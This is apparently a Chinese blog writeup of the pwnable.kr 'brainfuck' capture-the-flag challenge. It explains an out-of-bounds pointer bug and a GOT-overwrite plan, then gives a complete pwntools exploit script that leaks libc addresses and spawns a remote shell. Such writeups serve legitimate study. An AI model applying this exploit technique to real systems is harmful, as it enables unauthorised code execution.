← 文章归档

pwnable brainfuck writeup

这道题真tm迷 我们首先分析一下elf文件 这里是获取我们输入的字符串进行分析,如果是' '指针就增加1,'.' 输出指针指向的内容,',' 向指针写入 之后在main中发现这里对指针赋值为tape的地址 拿到shell的思路为改写got表中函数的地址 分为以下三步 1. 修…

这道题真tm迷
我们首先分析一下elf文件

这里是获取我们输入的字符串进行分析,如果是'<'指针就减少1,是'>'指针就增加1,'.' 输出指针指向的内容,',' 向指针写入


之后在main中发现这里对指针赋值为tape的地址
拿到shell的思路为改写got表中函数的地址

分为以下三步

  1. 修改fgets的got内容为system地址
  2. 修改memset的got表内容为gets地址
  3. 修改puchar的got表内容为main程序地址

按照思路来说,应该是让程序在调用putchar的时跳到main的地址,之后程序执行到这里时

让执行memset时执行gets,之后在fgets处再执行system,就可以实现将输入字符串作为system的参数,就可以拿到shell了

至于如何获取system函数的地址,我上一篇文章也写了的,这里就不再赘述。

其实这个题最坑的地方是有延时,所以代码中有个sleep(1)
我在这个地方卡了很久,每次收到的字符数量都不够,然后直接报错。
最后我实在受不了了,参考了别人的wp才发现这个点。。。。。。

from pwn import *
import time


libc = ELF('bf_libc.so')
elf = ELF('bf')

p = remote('pwnable.kr',9001)

main_addr =  elf.symbols['main']
tape_addr = 0x0804a0a0
putchar_got_addr = 0x804a030
puts_got_addr = 0x804a018
memset_get_addr = 0x804a02c
fgets_got_addr = 0x804a010

print p.recvline()
print p.recvline()

payload = '<'*(tape_addr - fgets_got_addr)
payload += '.>'*4 + '<'*4
payload += ',>'*4 + '<'*4
payload += '>'*(memset_get_addr - fgets_got_addr)
payload += ',>'*4 + '<'*4
payload += '>'*(putchar_got_addr - memset_get_addr)
payload += ',>'*4
payload += '.'
p.sendline(payload)

time.sleep(1)
s = p.recv(4)
print hex(u32(s))
addr_fgets = u32(s)

sys_addr = addr_fgets - libc.symbols['fgets'] + libc.symbols['system']
gets_addr = addr_fgets - libc.symbols['fgets'] + libc.symbols['gets']

payload2 = p32(sys_addr) + p32(gets_addr) + p32(main_addr) + '/bin/sh' + '\n'

p.send(payload2)
p.interactive()
COMMENTS

一起聊聊

0

正在搬小板凳…

留下一条评论

友善讨论,不需要注册。评论使用无感安全检查,并限制短时间内的提交次数。

Turnstile 无感防护验证码尚未配置,评论暂不可用